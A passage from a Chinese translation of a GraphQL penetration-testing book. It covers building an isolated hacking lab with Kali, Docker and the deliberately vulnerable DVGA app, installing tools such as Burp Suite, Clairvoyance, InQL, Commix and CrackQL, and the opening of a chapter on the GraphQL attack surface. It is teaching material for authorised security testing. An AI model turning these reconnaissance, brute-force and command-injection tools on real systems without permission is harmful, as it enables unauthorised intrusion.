要查看应用程序的 GraphQL 架构的更多信息,请点击位于右侧窗格中的Docs标签。这将打开自动生成的文档,如图 1-9 所示。

图 1-9:GraphiQL Explorer 自动生成的架构文档

GraphiQL Explorer 还提供了一个查看所有之前发送过的查询的功能,如 图 1-10 所示。你可以点击查询进行重播。

图 1-10:GraphiQL Explorer 中的历史查询

GraphQL 服务器默认没有认证,这使得像 GraphiQL Explorer 和 GraphQL Playground 这样的图形界面能够自由地与服务器交互。通常,保护这些图形界面没有太大意义,因为它们只是 API 的简单前端,我们仍然可以使用其他客户端(例如 cURL)直接调用 API 服务。API 服务器本身应该实现保护机制,以避免未经授权的 API 查询。

摘要

本章介绍了 GraphQL 的基础知识。我们讲解了什么是 GraphQL 以及它试图解决的问题。我们还通过示例展示了 REST 和 GraphQL API 之间的根本区别,并讨论了在安全性背景下理解这些区别的重要性。此外,你还通过使用 GraphiQL Explorer 工具进行了首次实践,体验了查询 GraphQL API。

第二章:设置 GraphQL 安全实验室

在本章中,你将开始构建你的 GraphQL 道场:一个配备有 GraphQL 黑客工具的安全测试实验室环境,以及一个故意存在漏洞的服务器,你可以安全地在其中测试新学到的进攻性 GraphQL 技能。

当你正在测试一个底层技术已经存在多年且没有得到过多更新的应用程序时,了解如何设置一个正确的黑客实验室变得比以往更加重要。成熟的技术经历了多次安全审查和研究。对于较新的技术,可能需要一些时间才能开发出类似的知识库,并且安全测试方法学也需要在安全社区中传播。

缺乏知识库可能会带来问题。想象一下,当你进行渗透测试时,发现一台服务器正在运行一个你从未见过的应用程序。你可能会开始研究该软件,并在像漏洞数据库(exploit-db.com)这样的公共网站上查找已知的应用程序漏洞或公开的漏洞利用工具。然而,当应用程序使用新框架(如 GraphQL)时,情况可能会变得更加复杂。测试该应用程序不仅需要了解框架,还需要重新配置相关的渗透测试工具,这在渗透测试过程中是一项耗时的任务。

本章中构建的专用实验室将支持你在本书中的动手实践,以便下次你在实际环境中遇到 GraphQL 时,能够使用正确的工具来搜索和发现漏洞。在实验室中进行探索还有很多其他好处,例如通过实验获得实践经验。学习黑客技术最好的方式就是亲自动手。

采取安全预防措施

在你使用个人设备构建黑客实验室时,应该遵循以下几个指南:

  • 避免将实验室直接连接到公共互联网。 黑客实验室环境通常涉及安装脆弱的代码或过时的软件。如果这些环境能够从互联网访问,它们可能会对你的网络、计算机和数据构成风险。你不希望互联网机器人在你的计算机上部署恶意软件或将其作为攻击他人的跳板。

  • 仅在受信任的本地网络上进行实验室操作。 任何与您在同一网络上的人都可以攻击实验室。因此,我们建议仅在连接到您信任的网络时进行本书中的操作。

  • 通过使用虚拟化软件(如 Oracle VirtualBox)在虚拟环境中部署实验室。 对于 VirtualBox (www.virtualbox.org/wiki/Downloads),选择适合你主机操作系统的安装包。如果你使用的是 Linux,选择与你使用的 Linux 发行版相对应的安装包,下载地址位于 www.virtualbox.org/wiki/Linux_Downloads。VirtualBox 目前支持所有主要的发行版,如 Ubuntu、Debian 和 Fedora。将黑客实验室环境与主操作系统分离通常是个好主意,因为这可以防止可能破坏你计算机上其他软件的冲突。

  • 利用你选择的虚拟化软件的虚拟机快照机制。 这样可以让你创建虚拟机的 快照(在某个指定时间点的版本),并在未来虚拟机出现问题时恢复到其原始状态。可以把这看作是点击视频游戏中的“保存”按钮,以便稍后继续游戏。

牢记这些最佳实践,让我们开始动手搭建实验室!

安装 Kali

Kali 是一个为渗透测试设计的 Linux 发行版。基于 Debian,它由 Offensive Security(offensive-security.com)设计。我们将使用 Kali 作为我们的 GraphQL 黑客实验室的基础操作系统,因为它已经捆绑了一些我们需要的库、依赖项和工具。

你可以在 www.kali.org/get-kali 找到适用于 VMware Workstation 和 Oracle VirtualBox 虚拟化软件的 Kali 虚拟机镜像。选择你喜欢的虚拟化软件,并按照 Offensive Security 提供的官方安装说明进行操作:www.kali.org/docs/installation

完成安装过程后,你应该会看到 图 2-1 中所示的 Kali 登录界面。Kali 默认附带一个名为 kali 的用户账户,密码也是 kali

图 2-1:Kali Linux 登录界面

登录到 Kali 后,你需要确保它是最新的。打开 Kali 的 应用程序菜单,在搜索栏中输入终端仿真器(图 2-2)。点击对应的应用程序。

图 2-2:Kali 应用程序菜单

让我们使用一些命令来更新软件仓库,并升级已安装的软件包。在终端窗口中输入以下命令:

# sudo apt update -y
# sudo apt upgrade -y
# sudo apt dist-upgrade -y

从此以后,我们将使用 Kali 机器完成本书中的所有任务。我们建议保持终端窗口开启,因为你很快就需要用到它进行其他安装。

安装 Web 客户端

在第一章中,我们提到过,GraphQL API 可以通过多种专用工具查询,比如 GraphiQL Explorer,或者简单的基于命令行的 HTTP 客户端,如 cURL。这些工具背后都发起了 HTTP 请求。

我们将安装并使用两个 Web 客户端:cURL 和 Altair。这将允许你使用命令行工具和图形界面工具进行 GraphQL 查询的实验。

使用 cURL 从命令行查询

cURL 是最流行的命令行 HTTP 客户端之一,它可以像任何图形化的网页浏览器一样发起 HTTP 请求。因此,你可以使用它来查询 GraphQL API。

作为一个黑客,你应该熟悉从命令行操作。除了让你更容易自动化重复性任务之外,掌握命令行操作还可以在你无法访问图形界面时,如渗透测试中,帮助你高效工作。

现在我们开始安装 cURL。打开终端并输入以下命令:

#**sudo apt install -y curl**

你可以通过执行以下命令验证 cURL 是否已正确安装并正常工作:

# curl lab.blackhatgraphql.com
Black Hat GraphQL – Hello!

如果你看到“Hello!”消息,这意味着 cURL 成功地向应用程序发送了 HTTP GET 请求,并收到了响应。

使用 Altair 从 GUI 查询

在第一章中,我们通过使用 GraphiQL Explorer 查询 GraphQL API,利用其自动完成功能。虽然 GraphiQL 是一个非常有用的工具,但在渗透测试期间并不总是能使用它。为了克服这一点,你可以在本地计算机上安装图形化的 GraphQL 客户端。这些客户端能够连接到远程 GraphQL 服务器,并以类似 GraphiQL Explorer 的方式返回结果。如果你提供远程服务器地址给图形化客户端,它将自动处理 GraphQL 的集成。

其中一个工具,Altair,既有作为浏览器插件的版本,也有本地桌面应用程序的版本。这两个版本提供相同的功能,选择任何一个都没有不利之处。在本书中,我们将使用桌面应用程序。然而,如果你愿意,也可以通过添加插件商店安装 Firefox 的浏览器插件,方法是通过浏览器的地址栏输入about:addons

Altair 桌面客户端可在altair.sirmuel.design/#download下载,支持 macOS、Linux 和 Windows,如图 2-3 所示。选择与你操作系统相对应的图标。如果你使用 Kali 系统,请安装 Linux 版本。

将 Altair 下载到 Kali 的Desktop目录。下载完成后,你应该会看到一个扩展名为AppImage的文件:

# cd ~/Desktop
# ls -l altair*
-rwxr--r-- 1 kali kali 88819862 altair_x86_64_linux.AppImage

图 2-3:可用的 Altair 桌面客户端版本

接下来,我们需要更改下载文件的权限,以便能够运行它:

# chmod u+x altair_x86_64_linux.AppImage

现在我们可以执行该文件了。它应该会加载客户端,如 图 2-4 所示。

# ./altair_x86_64_linux.AppImage

在你设置好正确的权限后,你应该也能够通过点击位于 Kali 桌面上的 Altair Desktop 图标直接运行该应用程序。

现在让我们验证客户端是否按预期工作。打开它,在输入 URL 地址栏中,输入 http://lab.blackhatgraphql.com/graphql。这将确保我们执行的任何查询都会直接发送到此地址。现在,在左侧的查询窗格中,删除现有的代码注释(以 # 符号开头的行),并输入以下查询:

**query {**
 **users {**
 **username**
 **}**
**}**

图 2-4:Linux 的 Altair Desktop 客户端

最后,点击 发送请求。你应该会看到类似于 图 2-5 的输出。

图 2-5:Altair Desktop 客户端中的 GraphQL 响应

Altair 是一个强大的工具;它将为我们提供查询自动补全建议、模式文档、执行过的查询历史记录以及其他功能,如设置自定义 HTTP 头部和将查询保存到集合中,这些都使我们的工作变得更加轻松。欲了解更多关于 Altair 高级功能的信息,请参考官方文档页面 altair.sirmuel.design/docs/features

设置一个脆弱的 GraphQL 服务器

既然我们已经拥有了查询任何 GraphQL 服务器所需的客户端工具,接下来的步骤是安装一个脆弱的 GraphQL 服务器,我们将在本书中将其作为目标。我们将在第三章对 GraphQL 进行更深入的探讨,并在第 4 至第九章的渗透测试练习中使用这个脆弱的服务器。

安装 Docker

Docker (www.docker.com) 是一个部署和管理容器的工具。容器 是打包代码及其依赖项的软件单元,使应用程序可以在各种环境中可靠地运行。Docker 可在 Windows、macOS 和 Linux 上使用。

我们将使用 Docker 来部署本书中我们将要攻击的应用程序。让我们通过运行以下命令从 Kali 软件库中安装它:

# sudo apt install -y docker.io

接下来,我们想确保 Docker 进程在系统重启后会自动启动:

# sudo systemctl enable docker --now

最后,确保 Docker 已成功安装:

# sudo docker

Management Commands:
  builder     Manage builds
  completion  generate the autocompletion script for the specified shell
  config      Manage Docker configs
  container   Manage containers
  context     Manage contexts

部署 Damn Vulnerable GraphQL Application

我们的目标应用程序必须能够模拟常见的 GraphQL 应用程序漏洞。为此,我们将使用 Damn Vulnerable GraphQL Application (DVGA),这是一款故意内置了设计和配置级漏洞的 GraphQL 应用程序。我们于 2021 年 2 月开发了 DVGA,目的是教育用户攻击和防御由 GraphQL 支持的应用程序,它自那时以来成为了 GraphQL 安全领域的事实标准目标应用程序,用于学习如何破解 GraphQL。

DVGA 存在多种漏洞,包括 DoS、信息泄露、代码执行、认证绕过、结构化查询语言(SQL)注入、授权破坏等。它提供了多种工作模式,适用于初学者和专家,并包括内置功能,可以在出现故障时自行恢复。我们将在第三章和第四章中更详细地讲解如何使用它。

DVGA 代码是开源的,可以在 GitHub 上找到,网址是 github.com/dolevf/Damn-Vulnerable-GraphQL-Application。让我们使用 Git 克隆 DVGA 仓库,并使用 Docker 部署它。首先,确保你的计算机已安装 Git,使用以下命令:

# sudo apt install git -y
# git --help

usage: git [--version] [--help] [-C <path>] [-c <name>=<value>]
           [--exec-path[=<path>]] [--html-path] [--man-path] [--info-path]
           [-p | --paginate | -P | --no-pager] [--no-replace-objects] [--bare]
`--snip--`

接下来,从 GitHub 克隆 DVGA 仓库:

# cd ~
# git clone -b blackhatgraphql https://github.com/dolevf/Damn-Vulnerable-GraphQL-Application.git
# ls -l

drwxr-xr-x 9 kali kali 4096 Damn-Vulnerable-GraphQL-Application

然后使用以下命令构建 DVGA Docker 镜像:

# cd Damn-Vulnerable-GraphQL-Application
# sudo docker build -t dvga .

最后,使用以下命令启动 DVGA 容器。如果你的 DVGA 在本书的任何部分崩溃,记得运行此特定命令:

# sudo docker run -t --rm -d --name dvga -p 5013:5013 -e WEB_HOST=0.0.0.0 dvga

接下来,通过使用以下命令验证容器是否正在运行:

# sudo docker container ps

CONTAINER ID IMAGE COMMAND CREATED STATUS PORTS NAMES
7b33cca84fc1  dvga   "python3 app.py"  About a minute ago
Up  0.0.0.0:5013->5013/tcp, :::5013->5013/tcp   dvga

此时,目标应用程序应该已经启动并正在运行。通过打开网页浏览器并在地址栏中输入http://localhost:5013来验证这一点。你应该能够访问图 2-6 中显示的应用程序。

图 2-6:Damn Vulnerable GraphQL 应用程序

如你所见,DVGA 类似于 Pastebin (pastebin.com),这是一个允许客户端提交随机文本片段(如源代码或其他文本)并与他人共享的 web 应用程序。这些文本片段也被称为 pastes,这是我们将在本书中使用的术语,我们将在穿越渗透测试场景时使用 DVGA。粘贴内容可以包含元数据,如标题、内容、作者信息等。当我们针对 DVGA 运行查询时,你将能够看到这些信息。图 2-7 显示了 DVGA 中的一个示例粘贴。

图 2-7:DVGA 中的一个示例粘贴

你可以看到粘贴的标题和内容,以及其作者(Darcee)和一些元数据,例如他们的互联网协议(IP)地址(215.0.2.85)和网络浏览器(Mozilla/5.0)。

测试 DVGA

现在,你已经在实验环境中部署了目标应用程序,请验证该应用程序是否启动,并且其 GraphQL API 是否可以通过简单的 GraphQL 查询访问。为此,我们将使用之前安装的 Altair 客户端。

打开 Altair 客户端,在地址栏中输入 http://localhost:5013/graphql。接下来,在左侧窗格中输入以下 GraphQL 查询:

**query {**
 **systemHealth**
**}**

此查询应输出类似于图 2-8 所示的结果。

图 2-8:Altair 中的 DVGA 响应

GraphQL 中的名称是区分大小写的,因此请确保按照 systemHealth 中的大小写进行操作;否则,此查询将导致错误。

安装 GraphQL 黑客工具

在第一章中,我们强调了 REST 和 GraphQL API 之间的差异。这些差异要求安全行业将 GraphQL 支持集成到现有工具中。在某些情况下,黑客还创建了专门用于渗透测试 GraphQL 应用程序的新工具。我们将在实验中安装并在后续章节的黑客演练中使用这些能够进行 GraphQL 应用程序安全测试的工具。

Burp Suite

Burp Suite 是 PortSwigger 提供的应用程序安全测试软件(portswigger.net),它代理您网页浏览器和目标应用程序之间的流量,使您能够拦截、修改并重放进出计算机的请求。在我们的 GraphQL 安全实验中,我们将使用 Burp Suite 手动与目标进行交互,通过观察并修改 GraphQL 查询,在它们发送到目标服务器之前进行操作。

更新版本的 Kali 应该默认安装了 Burp Suite。我们可以通过打开终端并输入以下命令来验证这一点:

# sudo apt install burpsuite -y

现在我们将打开 Burp Suite,并检查它是否能够成功拦截流量。在 Kali 应用菜单的搜索栏中输入Burp Suite并点击该应用。如果这是您第一次加载该应用,请阅读服务条款并点击我接受

选择临时项目单选按钮,创建一个临时项目,并点击下一步。Burp Suite 会询问要加载哪个配置文件。选择使用 Burp 默认设置并点击启动 Burp

接下来,让我们确保 Burp Suite 可以代理 HTTP 流量到 DVGA。点击代理拦截打开浏览器。在浏览器中,输入http://localhost:5013/graphiql并按回车键。这将发起一个 GET 请求到 DVGA,Burp Suite 应该会自动拦截该请求。

Burp Suite 现在应该会突出显示拦截标签(通常是橙色的),表示它已拦截了传出的请求。您应该能看到一个正在传输的 HTTP GET 请求,类似于图 2-9 所示的内容。

此请求尚未离开您的网页浏览器。Burp Suite 允许您在将其发送到服务器之前进行修改。请点击拦截已开启按钮,这将解除请求的拦截并将其发送到 DVGA。

我们已经验证了 Burp Suite 已安装并配置好,能够拦截从浏览器到 DVGA 的流量。干得好!Burp Suite 功能丰富,足以写一本书来介绍它。要了解更多关于此工具的信息,我们建议参考其官方文档(portswigger.net/burp/documentation/desktop/penetration-testing)。

图 2-9:在 Burp Suite 中拦截请求

Clairvoyance

在第一章中,我们介绍了 GraphQL 架构,它代表了应用程序数据模型的结构。想要与 GraphQL API 交互的开发人员需要了解他们可以访问哪些数据,以及 API 支持哪些查询或变更。GraphQL 通过 introspection 查询公开这些架构信息。

简单来说,introspection 是 GraphQL 中的一个特性,允许它向客户端描述自己的数据。示例 2-1 显示了一个基本的 introspection 查询,返回架构中所有可用查询的列表。我们将在第三章中更详细地介绍这些查询。

{
  __schema {
    queryType {
      fields {
        name
      }
    }
  }
}

示例 2-1:一个基本的 introspection 查询

正如你所想,允许客户对其 GraphQL API 执行 introspection 查询的公司实际上是在做出一个安全上的权衡。关于后端应用程序支持的各种字段和对象的信息,可能会帮助攻击者,增加他们成功发现漏洞的机会。因此,生产级的实现通常会禁用 introspection。这意味着你可能需要在不允许执行 introspection 查询的生产环境中测试 GraphQL 应用程序。在这种情况下,弄清楚如何正确构建查询可能会成为一个挑战。

这时,Clairvoyance 就派上用场了。这款基于 Python 的 GraphQL API 侦察工具由 Nikita Stupin (@_nikitastupin) 和 Ilya Tsaturov (@itsaturov) 开发,允许你在禁用 introspection 的情况下发现架构信息。它通过滥用 GraphQL 的一个特性——字段建议,工作原理是通过发送来自常见英语单词字典构建的查询并观察服务器的响应,重建底层架构。我们将在第六章更详细地讨论字段建议及其如何帮助我们提取 GraphQL 架构的信息。

让我们继续安装 Clairvoyance。打开终端并输入以下命令:

# cd ~
# git clone https://github.com/nikitastupin/clairvoyance.git
# cd clairvoyance

我们可以通过向 Clairvoyance 脚本传递 -h 参数来验证 Clairvoyance 是否能够运行:

# python3 -m clairvoyance -h

usage: __main__.py [-h] [-v] [-k] [-i <file>]
[-o <file>] [-d <string>] [-H <header>] -w <file> url

positional arguments:
  url

optional arguments:
  -h, --help            show this help message and exit

InQL

直到最近,即使 GraphQL 的使用逐渐增加,关于 GraphQL 安全测试的资源仍然很少公开。为填补这一空白,安全公司 Doyensec 开发了 Introspection GraphQL (InQL)。

这个基于 Python 的安全测试工具依赖于 introspection 查询。InQL 可以将它找到的关于 GraphQL 架构的任何信息导出为多种格式,使得应用程序的架构更容易阅读和理解。InQL 还可以执行其他任务,例如检测潜在的 DoS 条件。

让我们安装 InQL。打开终端并输入以下命令:

# cd ~
# git clone https://github.com/doyensec/inql.git
# cd inql
# sudo python3 setup.py install

通过传递 -h 参数来验证安装是否成功,确保 InQL 可以运行:

# inql -h

usage: inql [-h] [-t TARGET] [-f SCHEMA_JSON_FILE] [-k KEY]
[-p PROXY] [--header HEADERS HEADERS] [-d] [--no-generate-html]
[--no-generate-schema] [--no-generate-queries] [--generate-cycles]
[--cycles-timeout CYCLES_TIMEOUT] [--cycles-streaming] [--generate-tsv]
[--insecure] [-o OUTPUT_DIRECTORY]

如果你看到类似的输出,说明 InQL 已成功安装。我们将在本书后续的渗透测试练习中使用该工具。

Graphw00f

多年来,GraphQL 社区已经开发出了多种编程语言的 GraphQL 服务器实现,例如 PHP 的 graphql-php,Python 的 Graphene 和 Ariadne。对我们黑客来说,识别目标服务器背后运行的技术至关重要。一旦我们收集到这些信息,就能够根据所面对的技术定制攻击策略,从而提高整体成功率。

Graphw00f 是一款基于 Python 的 GraphQL 安全工具,我们开发它的目的是识别 GraphQL API 的特定实现。我们之所以开发它,主要是因为 GraphQL 通常不会公开它在背后使用的引擎类型。我们想知道是否能仅凭 API 响应就识别实现,结果发现是可以的。Graphw00f 通过向服务器发送有效和格式错误的查询,并观察返回错误信息中的微小差异,成功地指纹识别实现。目前它可以识别超过 24 种实现,包括目前使用的多数流行的 GraphQL 服务器。

这项实现信息尤其有趣,因为并不是所有今天可用的 GraphQL 实现都具备相同的安全功能。例如,一些实现提供了用于实现授权控制的外部库,而其他的则没有。识别后端技术可以为我们提供这些额外的数据点,以指导我们的测试。

要安装 Graphw00f,打开终端并输入以下命令:

# cd ~
# git** **clone https://github.com/dolevf/graphw00f.git
# cd graphw00f

使用 -h 命令验证 Graphw00f 是否可以成功启动:

# python3 main.py --help

Usage: main.py -d -f -t http://example.com

Options:
  -h, --help            show this help message and exit
  -r, --noredirect      Do not follow redirections given by 3xx responses

BatchQL

BatchQL 是一款用 Python 编写的 GraphQL 安全审计脚本,由安全公司 Assetnote 开发。该工具的名称源于 GraphQL 的一个特性,叫做 批处理,它允许客户端在一个 HTTP 请求中发送多个查询。你将在后面的章节中了解更多关于批量查询的内容。

BatchQL 尝试识别与以下漏洞类别相关的 GraphQL 实现中的缺陷:DoS、CSRF 和信息泄露。通过执行以下命令进行安装:

# cd ~
# git clone https://github.com/assetnote/batchql.git

通过传递 -h 标志来验证 BatchQL 是否正常工作:

# cd batchql
# python3 batch.py -h

usage: batch.py [-h] [-e ENDPOINT] [-v VARIABLE] [-P PREFLIGHT]
[-q QUERY] [-w WORDLIST] [-H HEADER [HEADER ...]] [-p PROXY] [-s SIZE] [-o OUTPUT]

optional arguments:
  -h, --help            show this help message and exit
  -e ENDPOINT, --endpoint ENDPOINT
                        GraphQL Endpoint (i.e. https://example.com/graphql).

Nmap

Nmap 由 Gordon Lyon(也被称为 “Fyodor”)开发,是一款端口扫描的瑞士军刀。它也是目前最古老的安全工具之一,创建于 1997 年 9 月。(令人惊讶的是,它几十年后仍然是事实上的端口扫描工具。)

我们将使用 Nmap 的端口扫描功能及其自定义脚本引擎 Nmap 脚本引擎(NSE)。NSE 使用用 Lua 语言编写的脚本将 Nmap 扩展为一个完整的漏洞评估工具。我们将利用这个功能来扫描 GraphQL 服务器并寻找漏洞。

Kali 默认自带 Nmap。使用以下命令验证是否已安装 Nmap:

# sudo apt install nmap -y

接下来,下载 nmap-graphql-introspection-nse Lua 脚本,并将其放入 NSE scripts 文件夹:

# cd ~
# git clone https://github.com/dolevf/nmap-graphql-introspection-nse.git
# cd nmap-graphql-introspection-nse
# sudo cp graphql-introspection.nse /usr/share/nmap/scripts

现在让我们验证 Nmap 是否能够找到并读取脚本,通过传递 --script-help 命令参数来实现:

# nmap --script-help graphql-introspection.nse

Starting Nmap ( https://nmap.org )

graphql-introspection
Categories: discovery fuzzer vuln intrusive
https://nmap.org/nsedoc/scripts/graphql-introspection.html
Identifies webservers running GraphQL endpoints and attempts an
execution of an Introspection query for information gathering.

This script queries for common graphql endpoints and then sends an
Introspection query and inspects the result.

  Resources
  * https://graphql.org/learn/introspection/

Commix

命令注入漏洞利用工具 (Commix) 是一个由 Anastasios Stasinopoulos 开发的开源项目,使用 Python 编写。Commix 通过模糊测试 HTTP 请求的各个部分(如查询参数或请求体)来自动化寻找并利用命令注入漏洞,使用特定的载荷。该工具还能够利用这些漏洞,生成一个自定义的交互式 shell,渗透测试人员可以用它来在远程服务器上获取立足点。

Commix 应该默认预装在 Kali 中,但为了确保它已正确安装并正常工作,请运行以下一组命令:

# sudo apt install commix -y
# commix -h

Usage: commix [option(s)]

Options:
  -h, --help            Show help and exit.

  General:
    These options relate to general matters.

    -v VERBOSE          Verbosity level (0-4, Default: 0).
    --version           Show version number and exit.

graphql-path-enum

由 dee_see(@dee_see)编写的 Rust 语言开发的 graphql-path-enum 是一个安全测试工具,用于寻找构建查询的不同方式,目标是达到特定的数据。这为黑客提供了有助于识别授权漏洞的信息。我们将在第七章中讨论 GraphQL 的授权漏洞。

运行以下命令安装 graphql-path-enum:

# cd ~
# wget "https://gitlab.com/dee-see/graphql-path-enum/-/jobs/artifacts/v1.1/raw
**/target/release/graphql-path-enum?job=build-linux"**
**-O graphql-path-enum**
# chmod u+x graphql-path-enum

通过传递 -h 标志来验证它是否能够成功运行并具有新的权限:

# ./graphql-path-enum -h

graphql-path-enum

USAGE:
    graphql-path-enum [FLAGS] --introspect-query-path <FILE_PATH> --type <TYPE_NAME>

FLAGS:
        --expand-connections    Expand connection nodes
        (with pageInfo, edges, etc. edges), they are skipped by default.
    -h, --help                  Prints help information
        --include-mutations     Include paths from the Mutation node.
        Off by default because this often adds a lot of noise.
    -V, --version               Prints version information

EyeWitness

EyeWitness 是一款由 Chris Truncer 和 Rohan Vazarkar 开发的 Web 扫描工具,能够捕获目标 Web 应用程序的截图。在渗透测试中扫描多个网站时,您通常会发现,视觉识别它们正在运行什么内容非常有用。EyeWitness 通过一个基于命令行的 Web 浏览器(也叫 无头浏览器)来实现这一点,它可以加载动态的 Web 内容,如使用 JavaScript 动态加载的内容。

使用以下命令安装 EyeWitness:

# sudo apt install eyewitness -y
# eyewitness -h

Protocols:
  --web                 HTTP Screenshot using Selenium

Input Options:
  -f Filename           Line-separated file containing URLs to capture
  -x Filename.xml       Nmap XML or .Nessus file
  --single Single URL   Single URL/Host to capture
  --no-dns

GraphQL Cop

我们开发了 GraphQL Cop,一款基于 Python 的专用 GraphQL 安全审计工具。GraphQL Cop 用于审计 GraphQL 服务器的 信息泄露和 DoS 类型漏洞。在后续章节中,我们将使用此工具检查 GraphQL 服务器是否能防范常见攻击。

使用以下一组命令安装 GraphQL Cop:

# sudo apt install python3-pip -y
# git clone https://github.com/dolevf/graphql-cop.git
# cd graphql-cop
# pip3 install -r requirements.txt
# python3 graphql-cop.py -h

Options:
  -h, --help            show this help message and exit
  -t URL, --target=URL  target url with the path
  -H HEADER, --header=HEADER
                        Append Header to the request '{"Authorization":
                        "Bearer eyjt"}'
  -o FORMAT, --output=FORMAT
                        json
  -x, --proxy           Sends the request through http://127.0.0.1:8080 proxy
  -v, --version         Print out the current version and exit.

CrackQL

我们开发了 CrackQL,一款专门针对 GraphQL 的暴力破解工具,它利用 GraphQL 语言特性来优化针对可能需要身份验证的 API 操作的暴力攻击。我们将在第七章中使用此工具,进行基于字典的攻击,攻击我们的 GraphQL 目标。按照以下步骤安装 CrackQL:

# git clone https://github.com/nicholasaleks/CrackQL.git
# cd CrackQL
# pip3 install -r requirements.txt
# python3 CrackQL.py -h

Options:
  -h, --help            show this help message and exit
  -t URL, --target=URL  Target url with a path to the GraphQL endpoint
  -q QUERY, --query=QUERY
                        Input query or mutation operation with variable
                        payload markers
  -i INPUT_CSV, --input-csv=INPUT_CSV
                        Path to a csv list of arguments (i.e. usernames,
                        emails, ids, passwords, otp_tokens, etc.)

一旦你安装了所有这些工具,我们强烈建议你对 Kali 虚拟机进行快照,以确保其状态得到保存。这样一来,未来如果虚拟机出现故障,你就能恢复到之前的状态。

摘要

让我们总结一下你目前在实验室中拥有的内容:可以与 GraphQL 交互的图形化和命令行 HTTP 客户端,一个用于部署容器的工作 Docker 环境,以及 DVGA 目标应用程序。

本章简要讨论了这些工具的工作原理以及它们满足的需求,如信息收集、服务器指纹识别、网络和应用扫描、漏洞评估和 GraphQL 审计。你将在后续章节中更深入地探索它们的使用。

本实验室是本书的核心部分,但它也可能对你下一次的真实世界渗透测试有所帮助。我们鼓励你关注 Black Hat GraphQL GitHub 仓库 (github.com/dolevf/Black-Hat-GraphQL.git),我们在该仓库中维护着当前和未来的 GraphQL 安全工具列表,帮助你保持实验室的更新。

第三章:GraphQL 攻击面

在本章中,我们首先从黑客的角度探讨 GraphQL 的语言和类型系统。然后,我们提供 GraphQL 中常见弱点的概述。希望你准备好了你的“假想黑帽”,因为你即将学习到一个功能如何变成一个弱点,错误配置如何变成信息泄漏,实施设计缺陷如何导致 DoS(拒绝服务)机会。

什么是攻击面?

攻击面是指对手可以用来破坏系统机密性、完整性和可用性的所有可能攻击向量的总和。例如,想象一座带有前门、侧门和多个窗户的实体建筑。作为攻击者,我们将每个窗户和门视为可能的机会,以获得未经授权的访问权限。

通常,当系统的攻击面较大时,其遭受攻击成功的风险较高,例如由许多应用程序、数据库、服务器、端点等组成时。就像一栋建筑拥有更多的窗户和门,攻击者就有更高的机会找到一个没有锁上的入口点或不安全的入口点。

攻击面随着时间的推移而变化,尤其是随着系统及其环境的演化。这在云环境中尤为明显,因为基础设施具有弹性。例如,一台服务器可能只存在有限的时间,或者 IP 地址可能会变化,有时一天内会变化多次。

让我们回顾一下 GraphQL 中所有的窗户和门,并突出可能的攻击向量,看看我们可以如何利用它们。理解这些概念将帮助你在接下来的章节中深入了解进攻性安全。

语言

为了讨论 GraphQL 的攻击面,我们将其规范分为两个部分:语言和类型系统。我们首先从客户端的角度介绍语言,用于向 GraphQL API 服务器发出请求。接下来,我们将从服务器的角度回顾其类型系统。你可以通过使用 GraphQL 规范来学习这些概念以及其他 GraphQL 内部知识;在这里,我们的目的是提炼出能够让你掌握足够知识的部分,以便在未来的章节中测试 GraphQL 攻击向量。

GraphQL 语言包含许多客户端可以利用的有用组件。乍一看,这些元素在请求中的表示方式可能会让人感到困惑。图 3-1 是一个示例 GraphQL 查询,其组件在表 3-1 中有详细解释。

图 3-1:一个示例 GraphQL 查询

如你所见,GraphQL 查询具有独特的结构,理解各个部分非常重要。表 3-1 提供了每个组件的描述。

表 3-1:GraphQL 查询的组成部分

# 组件 描述
1 操作类型 定义与服务器交互方法的类型(查询、变更或订阅)
2 操作名称 客户端创建的任意标签,用于为操作提供唯一名称
3 顶级字段 在操作中请求的返回单一信息或对象的函数(可能包含嵌套字段)
4 参数(顶级字段的) 用于向字段发送信息的参数名称,以调整该字段的行为和结果
5 与发送给字段的参数相关的数据
6 字段 返回在操作中请求的单一信息或对象的嵌套函数
7 指令 用于修饰字段的特性,改变其验证或执行行为,从而改变 GraphQL 服务器返回的值
8 参数(指令的) 用于向字段或对象发送信息的参数名称,以调整其行为和结果
9 参数(字段的) 用于向字段发送信息的参数名称,以调整字段的行为和结果

以下章节将探索这些组件,以及一些额外的 GraphQL 特性,重点讨论它们如何影响 GraphQL 的攻击面。

查询、变更和订阅

我们在第一章讨论了根操作类型查询、变更和订阅,并展示了使用查询类型获取数据的示例。(因此我们在这里不再重复查询类型。)作为黑客,真正的乐趣通常发生在我们能够修改数据时。在目标平台中创建、更新和删除数据使我们能够暴露业务逻辑漏洞。

变更

在 GraphQL 中,我们可以通过使用变更来解锁数据修改功能。下面是一个变更查询的示例:

mutation {
  editPaste(id: 1, content: "My first mutation!") {
    paste {
       id
       title
       content
    }
  }
}

我们通过使用 mutation 关键字定义变更操作。然后我们调用顶级的 editPaste 字段,它接受 idcontent 参数。(我们将在本章稍后讨论参数。)这个变更操作本质上是将 id1 的粘贴内容更新。然后我们请求更新后的粘贴。这是一个同时更改和读取数据的变更示例。

订阅

订阅操作是双向工作的:它允许客户端从服务器获取实时数据,并允许服务器向客户端发送更新。订阅不像查询和变更那样常见,但许多服务器确实使用它们,因此了解它们的工作原理是很重要的。

订阅通过传输协议进行传输,最常见的是WebSocket,一种实时通信协议,允许客户端和服务器在长时间连接下随时交换消息。然而,由于 GraphQL 规范并未定义订阅使用的传输协议,你可能会看到消费者使用其他协议。

当客户端和服务器想通过 WebSocket 通信时,它们会进行一次握手,将现有的 HTTP 连接升级为 WebSocket 连接。WebSocket 的内部工作机制超出了本书的范围,但你可以通过阅读 PortSwigger 的技术博客文章 portswigger.net/web-security/websockets/what-are-websockets 来深入了解这项技术。

因为 DVGA 支持通过 WebSocket 进行订阅,我们可以观察到 DVGA 前端界面与 GraphQL 服务器之间的握手。客户端可以使用订阅从 DVGA 服务器获取信息,例如新创建的 paste。例如,当你浏览到 http://localhost:5013 的公共粘贴页面时,你应该能在浏览器的开发者工具 Network 标签页中看到类似以下的 HTTP 请求:

GET **/subscriptions** HTTP/1.1
Host: 0.0.0.0:5013
Connection: Upgrade
Pragma: no-cache
Cache-Control: no-cache
Upgrade: websocket
Origin: http://localhost:5013
**Sec-WebSocket-Version: 13**
Sec-WebSocket-Key: MV5U83GH1UG8AlEb18lHiA==

GraphQL 服务器对这个握手请求的响应如下:

HTTP/1.1 **101 Switching Protocols**
Upgrade: websocket
Connection: Upgrade
Sec-WebSocket-Accept: aRnlpG8XwzRHPVxYmGVdqJv3D7U=

